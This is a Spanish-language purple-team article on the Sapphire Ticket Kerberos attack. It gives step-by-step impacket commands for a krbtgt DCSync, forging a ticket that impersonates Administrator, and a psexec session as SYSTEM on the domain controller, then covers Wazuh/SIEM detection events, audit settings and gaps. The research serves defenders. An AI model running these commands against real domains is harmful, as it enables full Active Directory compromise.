Sapphire Ticket: Ataque, Detección y Respuesta

Autor: Luis Daniel Martínez Sánchez, Karina Bautista Bautista Ámbito: Active Directory · Kerberos · Purple Team · SIEM

¿Qué es?

Hay técnicas que cambian la forma en que entiendes la seguridad de Active Directory. Sapphire Ticket es una de ellas. No forja credenciales ni modifica estructuras internas — simplemente le pide al propio Domain Controller que entregue el PAC de Administrator, y el DC lo hace porque la solicitud es completamente legítima.

Este artículo documenta una investigación purple team: ejecutamos el ataque en laboratorio y configuramos WAZUH para ver exactamente qué se detecta y qué no.

La evolución de los ataques Kerberos

Para entender por qué Sapphire Ticket es tan evasivo hay que ver de dónde viene. Golden Ticket forja un TGT desde cero usando el hash del krbtgt — el PAC es fabricado y puede contener inconsistencias detectables. Diamond Ticket mejora esto solicitando un TGT legítimo al DC, pero sigue modificando el PAC antes de usarlo. Ambas dejan huellas.

Sapphire Ticket cambia el enfoque completamente. En lugar de forjar o modificar el PAC, lo extrae directamente del DC usando dos extensiones del protocolo Kerberos: S4U2Self y User-to-User (U2U). El resultado es un PAC 100% legítimo — firmado por el propio DC, con todos los campos correctos. No hay nada que detectar porque no hay nada falso.

¿Cómo funciona?

S4U2Self permite a un servicio solicitar un ticket en nombre de un usuario sin que ese usuario haya autenticado. U2U permite que ese ticket venga cifrado con la clave de sesión del propio solicitante. Combinados, permiten extraer el PAC de cualquier usuario directamente del DC.

El flujo es el siguiente: el atacante, que ya tiene la clave AES-256 del krbtgt (obtenida por DCSync), se autentica normalmente al DC y obtiene un TGT. Con ese TGT envía una solicitud S4U2Self+U2U pidiendo el PAC de Administrator. El DC responde con el PAC real, firmado por él mismo. El atacante lo descifra, lo extrae, y lo incrusta en un TGT forjado usando la clave del krbtgt. El ticket resultante tiene un PAC auténtico con timestamps válidos y estructura perfecta.

Ejecución en laboratorio

Primero se obtiene la clave AES-256 del krbtgt via DCSync:

impacket-secretsdump domain.local/AdminUser:’Password’@DC_IP -just-dc-user krbtgt

Después se obtiene el Domain SID:

impacket-lookupsid domain.local/AdminUser:’Password’@DC_IP

Buscar la línea: DOMAIN S-1–5–21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX}

Luego se configura el cliente Kerberos en Kali. Este paso es crítico y frecuentemente ignorado — sin él, impacket no puede resolver los SPNs correctamente:

Agregar al archivo /etc/hosts:

DC_IP DC01.domain.local DC01 domain.local

El comando para generar el Sapphire Ticket:

impacket-ticketer \ -aesKey AES256_KRBTGT_KEY \ -domain-sid S-1–5–21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ -domain domain.local \ -request \ -user usuario_origen \ -password ‘password’ \ -nthash nthash_usuario \ -dc-ip DC_IP \ -impersonate Administrator \ archivo_cache

Cuando funciona correctamente el output muestra la solicitud S4U2Self+U2U, la extracción del PAC, y finaliza con “Saving ticket in usuario.ccache”.

Para usar el ticket:

export KRB5CCNAME=usuario_origen.ccache

impacket-psexec -k -no-pass domain.local/Administrator@DC01.domain.local

Resultado: nt authority\system en el Domain Controller.

Detección a través de SIEM

El flujo de Sapphire Ticket genera eventos específicos. Los más importantes son el 4768 (TGT request), el 4769 (TGS request — clave para detectar S4U2Self) y el 4662 (Directory Service Access, que detecta el DCSync previo).

El indicador más específico de S4U2Self aparece en el evento 4769: cuando ServiceName es igual a AccountName, el usuario está solicitando un ticket para sí mismo. Combinado con TicketOptions que incluya la flag U2U, es una señal clara de este patrón de ataque.

Para que el SIEM reciba estos eventos hay que habilitar la auditoría en el DC:

auditpol /set /subcategory:”Kerberos Authentication Service” /success:enable /failure:enable

auditpol /set /subcategory:”Kerberos Service Ticket Operations” /success:enable /failure:enable

auditpol /set /subcategory:”Directory Service Access” /success:enable /failure:enable

Las reglas recomendadas cubren cuatro escenarios: detección de S4U2Self (4769 con ServiceName igual a AccountName), usuario no privilegiado solicitando ticket para Administrator, encriptación RC4 en entorno AES, y correlación de TGT seguido de S4U2Self desde la misma IP en menos de 60 segundos.

Qué se detecta y qué no

El DCSync tiene detección alta — el evento 4662 sobre krbtgt es muy específico y ruidoso. La solicitud S4U2Self tiene detección media si las reglas están configuradas. El acceso lateral posterior también genera eventos rastreables.

Lo que no se detecta de ninguna manera: la inyección del ticket en memoria, la exportación del ccache, y el descifrado del PAC en la máquina del atacante. Estas acciones no generan ningún evento de red ni de sistema.

El gap más importante es conceptual: un evento 4769 con S4U2Self puede ser completamente legítimo en entornos con Kerberos constrained delegation. La detección real no es un problema de reglas — es un problema de baselining y contextualización. La pregunta no es “¿ocurrió S4U2Self?” sino “¿tiene sentido que este usuario lo solicitara, desde este host, a esta hora, para esta cuenta destino?”

Conclusión

Sapphire Ticket demuestra que los atacantes han encontrado la manera de usar los propios mecanismos del protocolo para extraer información privilegiada de forma legítima. La detección no puede basarse en la validez del PAC porque el PAC es real. Tiene que basarse en el comportamiento.

La evolución Golden → Diamond → Sapphire muestra un patrón claro: cada mejora defensiva genera una contramedida ofensiva. El SIEM puede detectar el patrón si las reglas están bien construidas, pero el gap entre disparar una alerta y entender que estás siendo atacado sigue siendo amplio — y eso es lo que el blue team necesita cerrar.